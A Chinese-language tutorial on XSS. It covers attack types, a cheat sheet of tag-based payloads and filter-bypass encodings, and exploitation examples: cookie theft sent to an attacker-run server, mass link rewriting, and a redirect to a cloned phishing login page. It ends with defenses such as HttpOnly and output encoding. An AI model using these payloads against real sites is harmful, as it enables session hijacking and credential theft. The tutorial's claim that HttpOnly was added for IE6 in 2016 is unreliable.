Web安全基础篇——XSS跨站脚本攻击

Web安全基础篇——XSS跨站脚本攻击
AudienceXSS
跨站脚本攻击(Cross Site Scripting), 为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
原理
- 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
- 诱使受害者打开受到攻击的服务器URL。
- 受害者在Web浏览器中打开URL,恶意脚本执行。
XSS的攻击方式
反射型XSS
非持久化,攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理。
存储型XSS
持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
DOM型XSS
基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。
常见载荷
scirpt 标签
1 | <script>alert("xss");</script> |
img 标签
1 | <img src=1 onerror=alert("xss");> |
input 标签
1 | <!--onfocus:事件在对象获得焦点时发生:--> |
竞争焦点,从而触发onblur事件
1 | <input onfocus="alert(1);" autofocus> |
input 标签的 autofocus 属性规定当页面加载时,元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
1 | <input onmouseover=alert(1)> 需要鼠标划过输入框 |
details 标签
<details>
标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭
1 | <details ontoggle=alert(1);></details> |
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发。
1 | <details open ontoggle=alert(1);> |
svg 标签
<svg>
标签用来在HTML页面中直接嵌入SVG 文件的代码。
1 | <svg onload=alert(1);> |
select 标签
select 标签用来创建下拉列表。
1 | <select onfocus=alert(1)></select> |
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。
1 | <select onfocus=alert(1) autofocus></select> |
iframe 标签
iframe
标签会创建包含另外一个文档的内联框架。
1 | <iframe onload=alert(1);></iframe> |
video 标签
video
标签定义视频,比如电影片段或其他视频流。
1 | <video src=x onerror=alert(1)> |
audio 标签
audio
标签定义声音,比如音乐或其他音频流。
1 | <audio src=x onerror=alert(1);> |
textarea 标签
textarea
标签定义一个多行的文本输入控件。
1 | <textarea onfocus=alert(1); autofocus> |
keygen 标签
仅限火狐
1 | <keygen autofocus onfocus=alert(1)> |
常见绕过方法
空格绕过
当空格被过滤了时,我们可以用 /
来代替空格。
1 | /**/注释符号绕过;/符号绕过; |
引号绕过
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
1 | <img src=x onerror=alert(`xss`);> |
括号绕过
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
1 | <img src=x onerror="javascript:window.onerror=alert;throw 1"> |
大小写绕过
1 | <sCRiPt>alert(1);</sCrIpT> |
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过。
1 | <scrscriptipt>alert(1);</scrscriptipt> |
字符串拼接绕过
利用eval()函数,与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
1 | <img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)"> |
编码绕过
Unicode编码绕过
1 | <img src="x" onerror="alert("xss");"> |
Url编码绕过
1 | <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> |
Ascii编码绕过
1 | <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> |
Hex绕过
1 | <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> |
Base64编码绕过
1 | <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> |
url地址绕过
使用url编码
1 | <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> |
使用IP
1 | 1.十进制IP |
标签属性封闭
当我们输入的东西出现在标签中,如输入框内时,就会出现如下的代码状态。
1 | <input name=keyword value="<script>alert(1)</script>"> |
这时候我们可以将value值进行一个封闭,载荷如下:
1 | <!-- |
漏洞利用
盗取Cookie
同源策略:定义不同的域名,cookies不共享,也就是说百度和Google等不同的网站域名、不同浏览器的cookies不共享。
需要搭建一个公网服务器作为中间人用来接收Cookie。后台只要写一个简单的接收Cookie程序即可,如下PHP写的后端。文件名为GetCookie.php
。
1 |
|
在公网服务器中构造javascript载荷文件hack.js
。
1 | var img = document.createElement('img'); |
创建一个长和宽均为0的图像,然后调用GetCookie.php
,获取cookie。或者也可以直接构造载荷
1 | <script>document.location = 'http://中间服务器地址/Getcookie.php?cookie='+document.cookie;</script> |
如果是存储型漏洞,便插入恶意代码<script src='中间人网址/GetCookie.js'></script>
,当普通用户访问页面时,便会调用hack.js
,将cookie发送给攻击者。如果是反射型漏洞,则需要构造攻击链接发送给受害者。
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。 该方法不会对 ASCII 字母和数字进行编码,也不会对- _ . ! ~ * ' ( )
这些 ASCII 标点符号进行编码。其他字符(比如 ;/?:@&=+$,#
这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。 如果不进行编码,则通过js的jQuery的post或者使用window.self.location传递数据到后台,都会造成+
、@
、$
字符无法正常输出。
纂改网页链接
将网站内的所有a标签变成恶意链接或者其他一些链接。通常用在存储型漏洞中。
构造载荷:
1 | <script> |
这样当普通用户访问该网站时,网站中的所有链接都会变成我们指定的链接。
盗取用户信息
在公网服务器利用setookit工具克隆要攻击的网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆账号和密码被存储。
载荷:
1 | <script>window.location="http://克隆网站的网址/"</script> |
防范
HttpOnly
HttpOnly是2016年微软为IE6而新增了这一属性,HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险。
也就是说HttpOnly存在主要是为了防止用户通过前端js来盗用cookie而产生的风险,XSS攻击就是对cookie进行盗窃,使用这一属性就可以防止通过js脚本读取到cookie信息,预防XSS攻击,窃取cookie内容。在set-cookie设置httponly的情况下,通过document.cookie是不可以获取到cookie值的。
所有现代后端语言和环境都支持设置HttpOnly标志。这是一个使用setcookie
函数在 PHP 中执行此操作的示例:
1 | setcookie("sessionid", "QmFieWxvbiA1", ['httponly' => true]); |
除了HttpOnly,还有其他cookie安全策略,区别如下:
- http-only:只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
- secure-only :只允许https请求读取,发送请求时自动发送cookie。
- host-only:只允许主机域名与domain设置完成一致的网站才能访问该cookie。
X-XSS-Protection设置
目前该属性被所有的主流浏览器默认开启XSS保护。该参数是设置在响应头中目的是用来防范XSS攻击的。它有如下几种配置:
- 0:禁用XSS保护。
- 1:启用XSS保护。
默认值为1,1;mode=block;
启用xss保护,并且在检查到XSS攻击是,停止渲染页面。
XSS防御HTML编码
为什么要防御HTML编码呢?比如如下html代码:<div>content</div>
,在<div>
标签中存在一个输出变量{content}。那么浏览器在解析的过程中,首先是html解析,当解析到div标签时,再解析content的内容,然后会将页面显示出来。那假如该{content} 的值是<script>alert('XSS攻击')</script>
这样的呢?因此该script脚本就会解析并且执行了,从而达到XSS的攻击目标。因此我们需要将不可信数据放入到html标签内(比如div、span等)的时候需要进行html编码。
编码规则:将 & < > “ ‘ / 转义为实体字符。如下基本转义代码:
1 | // 使用正则表达式实现html编码 |
XSS 防御HTML Attribute编码
和HTML编码一样,html中的属性也要进行编码,比如 <input name="name"/>
这样的,name是input的属性,因此在html解析时,会对name属性进行编码,因为假如{name} 的值为:" " onclick="alert('属性XSS')" bad=" "
这样的,也就是说input变成这样的了:<input name=" " onclick="alert('属性XSS')" bad=" "></input>
,input属性name被插入onclick事件了,因此也需要针对这种常规的html属性,都需要对其进行HTML属性编码。
因此我们需要将不可信数据放入html属性时(不含src、href、style 和 事件处理函数(onclick, onmouseover等))。需要进行HTML Attribute 编码。
编码规则:除了字母、数字、字符以外,使用 &#x;16进制格式来转义ASCII值小于256所有的字符。
1 | function encodeForHTMLAttibute(str) { |